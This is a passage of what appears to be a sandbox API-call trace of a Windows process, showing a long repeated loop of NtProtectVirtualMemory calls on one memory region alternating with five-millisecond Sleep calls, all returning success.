NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.311] Sleep (dwMilliseconds=0x5) [0328.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.367] Sleep (dwMilliseconds=0x5) [0328.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.414] Sleep (dwMilliseconds=0x5) [0328.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.460] Sleep (dwMilliseconds=0x5) [0328.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.509] Sleep (dwMilliseconds=0x5) [0328.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.560] Sleep (dwMilliseconds=0x5) [0328.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.601] Sleep (dwMilliseconds=0x5) [0328.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.650] Sleep (dwMilliseconds=0x5) [0328.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.698] Sleep (dwMilliseconds=0x5) [0328.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.744] Sleep (dwMilliseconds=0x5) [0328.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.794] Sleep (dwMilliseconds=0x5) [0328.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0328.840] Sleep (dwMilliseconds=0x5) [0328.984] Sleep (dwMilliseconds=0x5) [0329.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.040] Sleep (dwMilliseconds=0x5) [0329.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.087] Sleep (dwMilliseconds=0x5) [0329.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.135] Sleep (dwMilliseconds=0x5) [0329.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.187] Sleep (dwMilliseconds=0x5) [0329.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.301] Sleep (dwMilliseconds=0x5) [0329.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.369] Sleep (dwMilliseconds=0x5) [0329.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.418] Sleep (dwMilliseconds=0x5) [0329.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.467] Sleep (dwMilliseconds=0x5) [0329.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.515] Sleep (dwMilliseconds=0x5) [0329.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.572] Sleep (dwMilliseconds=0x5) [0329.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.618] Sleep (dwMilliseconds=0x5) [0329.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.664] Sleep (dwMilliseconds=0x5) [0329.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.708] Sleep (dwMilliseconds=0x5) [0329.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.757] Sleep (dwMilliseconds=0x5) [0329.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.805] Sleep (dwMilliseconds=0x5) [0329.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.853] Sleep (dwMilliseconds=0x5) [0329.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.925] Sleep (dwMilliseconds=0x5) [0329.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0329.980] Sleep (dwMilliseconds=0x5) [0330.021] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.021] Sleep (dwMilliseconds=0x5) [0330.067] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.068] Sleep (dwMilliseconds=0x5) [0330.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.115] Sleep (dwMilliseconds=0x5) [0330.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.213] Sleep (dwMilliseconds=0x5) [0330.264] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.265] Sleep (dwMilliseconds=0x5) [0330.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.311] Sleep (dwMilliseconds=0x5) [0330.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.377] Sleep (dwMilliseconds=0x5) [0330.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.435] Sleep (dwMilliseconds=0x5) [0330.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.479] Sleep (dwMilliseconds=0x5) [0330.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.521] Sleep (dwMilliseconds=0x5) [0330.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.569] Sleep (dwMilliseconds=0x5) [0330.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.619] Sleep (dwMilliseconds=0x5) [0330.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.664] Sleep (dwMilliseconds=0x5) [0330.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.712] Sleep (dwMilliseconds=0x5) [0330.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.760] Sleep (dwMilliseconds=0x5) [0330.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.806] Sleep (dwMilliseconds=0x5) [0330.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.853] Sleep (dwMilliseconds=0x5) [0330.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.921] Sleep (dwMilliseconds=0x5) [0330.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0330.974] Sleep (dwMilliseconds=0x5) [0331.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.023] Sleep (dwMilliseconds=0x5) [0331.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.070] Sleep (dwMilliseconds=0x5) [0331.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.118] Sleep (dwMilliseconds=0x5) [0331.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.167] Sleep (dwMilliseconds=0x5) [0331.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.210] Sleep (dwMilliseconds=0x5) [0331.258] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.259] Sleep (dwMilliseconds=0x5) [0331.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.303] Sleep (dwMilliseconds=0x5) [0331.443] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.444] Sleep (dwMilliseconds=0x5) [0331.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.495] Sleep (dwMilliseconds=0x5) [0331.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.543] Sleep (dwMilliseconds=0x5) [0331.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.586] Sleep (dwMilliseconds=0x5) [0331.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.633] Sleep (dwMilliseconds=0x5) [0331.681] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.682] Sleep (dwMilliseconds=0x5) [0331.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.724] Sleep (dwMilliseconds=0x5) [0331.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.775] Sleep (dwMilliseconds=0x5) [0331.822] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.823] Sleep (dwMilliseconds=0x5) [0331.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.868] Sleep (dwMilliseconds=0x5) [0331.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.950] Sleep (dwMilliseconds=0x5) [0331.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0331.996] Sleep (dwMilliseconds=0x5) [0332.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.044] Sleep (dwMilliseconds=0x5) [0332.090] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.091] Sleep (dwMilliseconds=0x5) [0332.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.140] Sleep (dwMilliseconds=0x5) [0332.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.190] Sleep (dwMilliseconds=0x5) [0332.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.236] Sleep (dwMilliseconds=0x5) [0332.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0332.279] Sleep (dwMilliseconds=0x5) [0332.327] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 